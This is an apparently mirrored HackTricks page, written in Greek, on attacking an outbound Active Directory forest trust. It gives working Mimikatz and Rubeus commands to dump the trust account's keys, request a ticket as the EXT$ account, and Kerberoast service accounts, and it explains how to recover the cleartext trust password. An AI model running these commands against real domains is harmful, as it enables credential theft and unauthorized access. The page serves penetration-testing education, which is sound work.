mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
74 lines
7.6 KiB
Markdown
74 lines
7.6 KiB
Markdown
# Εξωτερικό Δάσος Τομέα - Μονοκατεύθυνση (Εξόδου)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Σε αυτό το σενάριο **ο τομέας σας** **εμπιστεύεται** κάποιες **προνομίες** σε κύριο από **διαφορετικούς τομείς**.
|
||
|
||
## Αριθμητική
|
||
|
||
### Εμπιστοσύνη Εξόδου
|
||
```bash
|
||
# Notice Outbound trust
|
||
Get-DomainTrust
|
||
SourceName : root.local
|
||
TargetName : ext.local
|
||
TrustType : WINDOWS_ACTIVE_DIRECTORY
|
||
TrustAttributes : FOREST_TRANSITIVE
|
||
TrustDirection : Outbound
|
||
WhenCreated : 2/19/2021 10:15:24 PM
|
||
WhenChanged : 2/19/2021 10:15:24 PM
|
||
|
||
# Lets find the current domain group giving permissions to the external domain
|
||
Get-DomainForeignGroupMember
|
||
GroupDomain : root.local
|
||
GroupName : External Users
|
||
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
|
||
MemberDomain : root.io
|
||
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
|
||
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
|
||
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
|
||
```
|
||
## Επίθεση Λογαριασμού Εμπιστοσύνης
|
||
|
||
Μια ευπάθεια ασφαλείας υπάρχει όταν μια σχέση εμπιστοσύνης καθορίζεται μεταξύ δύο τομέων, που αναγνωρίζονται εδώ ως τομέας **A** και τομέας **B**, όπου ο τομέας **B** επεκτείνει την εμπιστοσύνη του στον τομέα **A**. Σε αυτή τη ρύθμιση, δημιουργείται ένας ειδικός λογαριασμός στον τομέα **A** για τον τομέα **B**, ο οποίος παίζει κρίσιμο ρόλο στη διαδικασία πιστοποίησης μεταξύ των δύο τομέων. Αυτός ο λογαριασμός, που σχετίζεται με τον τομέα **B**, χρησιμοποιείται για την κρυπτογράφηση εισιτηρίων για την πρόσβαση σε υπηρεσίες μεταξύ των τομέων.
|
||
|
||
Η κρίσιμη πτυχή που πρέπει να κατανοηθεί εδώ είναι ότι ο κωδικός πρόσβασης και το hash αυτού του ειδικού λογαριασμού μπορούν να εξαχθούν από έναν Domain Controller στον τομέα **A** χρησιμοποιώντας ένα εργαλείο γραμμής εντολών. Η εντολή για την εκτέλεση αυτής της ενέργειας είναι:
|
||
```bash
|
||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||
```
|
||
Αυτή η εξαγωγή είναι δυνατή επειδή ο λογαριασμός, που αναγνωρίζεται με ένα **$** μετά το όνομά του, είναι ενεργός και ανήκει στην ομάδα "Domain Users" του τομέα **A**, κληρονομώντας έτσι τις άδειες που σχετίζονται με αυτήν την ομάδα. Αυτό επιτρέπει σε άτομα να αυθεντικοποιούνται στον τομέα **A** χρησιμοποιώντας τα διαπιστευτήρια αυτού του λογαριασμού.
|
||
|
||
**Προειδοποίηση:** Είναι εφικτό να εκμεταλλευτεί κανείς αυτή την κατάσταση για να αποκτήσει πρόσβαση στον τομέα **A** ως χρήστης, αν και με περιορισμένες άδειες. Ωστόσο, αυτή η πρόσβαση είναι επαρκής για να εκτελέσει καταμέτρηση στον τομέα **A**.
|
||
|
||
Σε ένα σενάριο όπου το `ext.local` είναι ο τομέας εμπιστοσύνης και το `root.local` είναι ο εμπιστευμένος τομέας, θα δημιουργηθεί ένας λογαριασμός χρήστη με το όνομα `EXT$` μέσα στο `root.local`. Μέσω συγκεκριμένων εργαλείων, είναι δυνατόν να εξάγουμε τα κλειδιά εμπιστοσύνης Kerberos, αποκαλύπτοντας τα διαπιστευτήρια του `EXT$` στο `root.local`. Η εντολή για να το επιτύχουμε είναι:
|
||
```bash
|
||
lsadump::trust /patch
|
||
```
|
||
Ακολουθώντας αυτό, θα μπορούσε κανείς να χρησιμοποιήσει το εξαγόμενο κλειδί RC4 για να αυθεντικοποιηθεί ως `root.local\EXT$` εντός του `root.local` χρησιμοποιώντας μια άλλη εντολή εργαλείου:
|
||
```bash
|
||
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
|
||
```
|
||
Αυτό το βήμα αυθεντικοποίησης ανοίγει τη δυνατότητα να καταμετρήσουμε και ακόμη και να εκμεταλλευτούμε υπηρεσίες εντός του `root.local`, όπως η εκτέλεση μιας επίθεσης Kerberoast για την εξαγωγή διαπιστευτηρίων λογαριασμού υπηρεσίας χρησιμοποιώντας:
|
||
```bash
|
||
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
|
||
```
|
||
### Συλλογή καθαρού κωδικού εμπιστοσύνης
|
||
|
||
Στην προηγούμενη ροή χρησιμοποιήθηκε το hash εμπιστοσύνης αντί για τον **καθαρό κωδικό πρόσβασης** (ο οποίος επίσης **εξήχθη από το mimikatz**).
|
||
|
||
Ο καθαρός κωδικός πρόσβασης μπορεί να αποκτηθεί μετατρέποντας την έξοδο \[ CLEAR ] από το mimikatz από δεκαεξαδικό και αφαιρώντας τα null bytes ‘\x00’:
|
||
|
||
.png>)
|
||
|
||
Μερικές φορές, κατά τη δημιουργία μιας σχέσης εμπιστοσύνης, ένας κωδικός πρέπει να πληκτρολογηθεί από τον χρήστη για την εμπιστοσύνη. Σε αυτή τη демонстрация, το κλειδί είναι ο αρχικός κωδικός εμπιστοσύνης και επομένως αναγνώσιμο από άνθρωπο. Καθώς το κλειδί κυκλώνει (30 ημέρες), ο καθαρός κωδικός δεν θα είναι αναγνώσιμος από άνθρωπο αλλά τεχνικά θα είναι ακόμα χρήσιμος.
|
||
|
||
Ο καθαρός κωδικός πρόσβασης μπορεί να χρησιμοποιηθεί για κανονική αυθεντικοποίηση ως ο λογαριασμός εμπιστοσύνης, μια εναλλακτική λύση για την αίτηση ενός TGT χρησιμοποιώντας το μυστικό κλειδί Kerberos του λογαριασμού εμπιστοσύνης. Εδώ, ερωτώντας το root.local από το ext.local για μέλη των Domain Admins:
|
||
|
||
.png>)
|
||
|
||
## Αναφορές
|
||
|
||
- [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|